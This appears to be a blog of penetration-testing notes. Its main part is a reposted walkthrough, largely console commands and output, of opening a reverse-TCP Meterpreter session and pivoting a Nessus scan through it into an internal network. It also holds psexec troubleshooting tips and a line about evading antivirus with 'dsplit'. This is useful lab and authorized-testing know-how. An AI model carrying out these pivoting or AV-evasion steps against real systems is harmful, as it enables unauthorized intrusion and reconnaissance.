pam_appl.h and pam_modules.h "No such file or Directory"

If you're creating custom pam modules, you will need these two headers to compile your source code.

These header files are in the "pam-devel" package.

In SUSE - SLED/SLES use: 'yast -i pam-devel' to install the appropriate packages.

Scanning through SOCKS + Meterpreter

Source: http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php

Below is a walk through of the steps I went through to get the scan. The actors in this play are:

192.168.0.2 - The attacking machine
10.1.1.5 - The compromised machine
10.1.1.2 - The machine I want to scan
There is no normal route from the 192 network into the 10 network, the router at 10.1.1.1 prevents this.

robin@attacker metasploit $ ./msfconsole

___________
< DigiNinja >
-----------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||



=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 613 exploits - 309 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r10774 updated today (2010.10.21)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 31337
lport => 31337
msf exploit(handler) > set lhost 192.168.0.2
lhost => 192.168.0.2
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.2:31337
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (749056 bytes) to 192.168.0.80
[*] Meterpreter session 1 opened (192.168.0.2:31337 -> 192.168.0.80:24592) at 2010-10-22 10:38:18 +0100

msf exploit(handler) > route add 10.1.1.0 255.255.255.0 1
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >
Check the tunnel is working. I don't speak SMB but if you do this and see the OK then the connection has been made and you can just enter some rubbish and hit return a few times, the other end will drop the connection pretty quickly. Pick a port you know, or expect, to be open on the target machine, SMB is usually a good choice for a Windows box.

root@attacker sbin # proxychains nc 10.1.1.2 445
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.1.1.2:445-<><>-OK
dummy...
Before you start Nessus with proxychains you'll need to modify the proxychains config (/etc/proxychains.conf). In my default config I needed to add the following line to the end.

socks4 127.0.0.1 1080
And now start Nessus

root@attacker sbin # proxychains ./nessus-service -D
Scans take a LONG time, with a default Nessus policy it took me 4242 seconds to scan the compromised machine, that is nearly an hour and a quarter so I've created a minimal policy to work with for this type of scanning. First we load the nessus module the connect to it, check the policies and finally fire off a scan.

msf auxiliary(socks4a) > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus
msf auxiliary(socks4a) > nessus_connect robin@localhost
[+] Password:
...
[*] Connecting to https://localhost:8834/ as robin
[*] Authenticated
msf auxiliary(socks4a) > nessus_policy_list
[+] Nessus Policy List

ID Name Comments
-- ---- --------
4 Minimal MS
3 noping
2 Web
1 All

msf auxiliary(socks4a) > nessus_scan_new 4 "Quick Windows" 10.1.1.2
[*] Creating scan from policy number 4, called "Quick Windows" and scanning 10.1.1.2
[*] Scan started. uid is 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
msf auxiliary(socks4a) > nessus_scan_status
[+] Running Scans

Scan ID Name Owner Started Status Current Hosts Total Hosts
------- ---- ----- ------- ------ ------------- -----------
60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee Quick Windows robin 12:39 Oct 22 2010 running 0 1


[*] You can:
[+] Import Nessus report to database : nessus_report_get
[+] Pause a nessus scan : nessus_scan_pause

Now sit back for a LONG wait. You can check the status with nessus_scan_status

msf auxiliary(socks4a) > nessus_scan_status
[+] Running Scans

Scan ID Name Owner Started Status Current Hosts Total Hosts
------- ---- ----- ------- ------ ------------- -----------
60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee Quick Windows robin 12:39 Oct 22 2010 running 0 1
When it finall finishes you can check the results and load them into your Metasploit database

msf auxiliary(socks4a) > db_connect msf.db
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don't count on it
[*] Creating a new database file...
[*] Successfully connected to the database
[*] File: msf.db

msf auxiliary(socks4a) > nessus_report_get 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
[*] importing 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
[*] 10.1.1.2 Done!
[+] Done
msf auxiliary(socks4a) > db_hosts

Hosts
=====

address address6 arch comm comments created_at info mac name os_flavor os_lang os_name os_sp purpose state updated_at svcs vulns workspace
------- -------- ---- ---- -------- ---------- ---- --- ---- --------- ------- ------- ----- ------- ----- ---------- ---- ----- ---------
10.1.1.2 2010-10-22 14:09:22 UTC 00:13:3b:04:03:52 CORP_DC alive 2010-10-22 14:09:22 UTC 5 6 default
So, there we have it, a full Nessus scan through a Meterpreter pivot with everything done in memory on the compromised machine. A very neat and tidy attack.

psexec logon failure and access denied

If you're experiencing logon failures with your lab testing in psexec (be it standalone psexec tool, or the auxiliary psexec module found within Metasploit)

Source: http://antonperez.com/2007/11/28/pstools-access-denied-error/


Here are the settings/steps I checked/took that resolved the issue:

1. ping - was able to ping the machine by hostname. So no problem here.

2. net share - verified the ADMIN$ share was enabled. Again no problem here.

3. Remote Registry service - verified the service was started because the PsTools suite makes use of RPC calls via port 445. Was fine here.

4. Administrator password - verified the Administrator did not have an empty password. Was set here.

5. Test account - created a test account to use for psexec (e.g., psexec \\computer_name notepad.exe -u test -p test). Was available here.

6. Access hidden share – tried to access C$ and found that user name field grayed out. This tipped off the problem – cool!

To fix it, I had to set the "Network Access: Sharing and security model for local accounts security option Classic – local users authenticate as themselves."

Access it via Start > Run > secpol.msc > Local Policies > Security Options

Change "Network Access: Sharing and security model for local accounts" to "Classic - local users authenticate as themselves"

Apparently, updates to Windows XP now sets this security option to Guest only – local users authenticate as Guest, which denies the ability to implicitly or explicitly use of a specific user name/password combo.

MSF Meterpreter

use 'bgrun' to run commands in background.

Router hacking tutorials

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,6178.0/

DSplit

When msfencode isn't working, try to use 'dsplit' to bypass AV.

Metasploit tutorials

Videos of introductory MSF tutorials